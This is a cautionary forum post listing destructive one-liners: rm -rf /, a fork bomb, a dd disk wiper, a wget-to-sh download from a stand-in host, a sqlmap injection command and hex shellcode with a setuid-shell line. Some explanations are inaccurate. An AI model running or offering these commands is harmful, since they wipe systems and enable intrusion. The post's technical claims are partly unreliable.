The most dangerous code I had ever written

in #code7 years ago (edited)

There are plenty of one line terminal commands that can prove to be exorbitantly dangerous.

1. The Delete Everything Command

rm -rf /
This command deletes everything it possibly can, including files on your hard drive and files on connected removable media devices. This command can be explained as follows:

rm – Remove the following files.
-rf – Run rm recursively.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices.

2. The Denial of Service(DoS) attack

ping xxx.xxx.xxx.xxx –t -l 65500"
where xxx.xxx.xxx.xxx is the IP Address of the target. This simple command if run from command prompt can launch a DoS attack against the target by flooding it’s server with data packets. If launched on a larger scale with multiple points of attack (DDoS), this command can prove to be fatal.

3. The Black hole

mv /home/user/ /dev/null*
The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed. The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to a blackhole (null).

4. The Fork Bomb

:(){:|:&};:
The infamous and funny looking fork bomb can freeze a system and force you to reboot it. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.

5. Malicious Script

wget http://malicious_source -O- | sh
This command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script. Please be careful while downloading and running scripts and make sure they come from a trusted source.

6. The Wiper

dd if=/dev/random of=/dev/sda
The above command will wipe out the block sda and write random junk data to the block. Your system would be left at inconsistent and unrecoverable stage.

7. Sql Injection Attack with SQLMap

sqlmap -u "http://www.abcdef.com/section.php?id=51" --dbs
This single command in the terminal can launch an SQL Injection attack against the website. You just need a Sql injection vulnerable URL which can be easily found on the internet. This command, if successful can expose the entire database of the target.

8. Hidden Hex Codes

char esp[] attribute ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition. This shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result.

Sort:  

I sense something evil here!!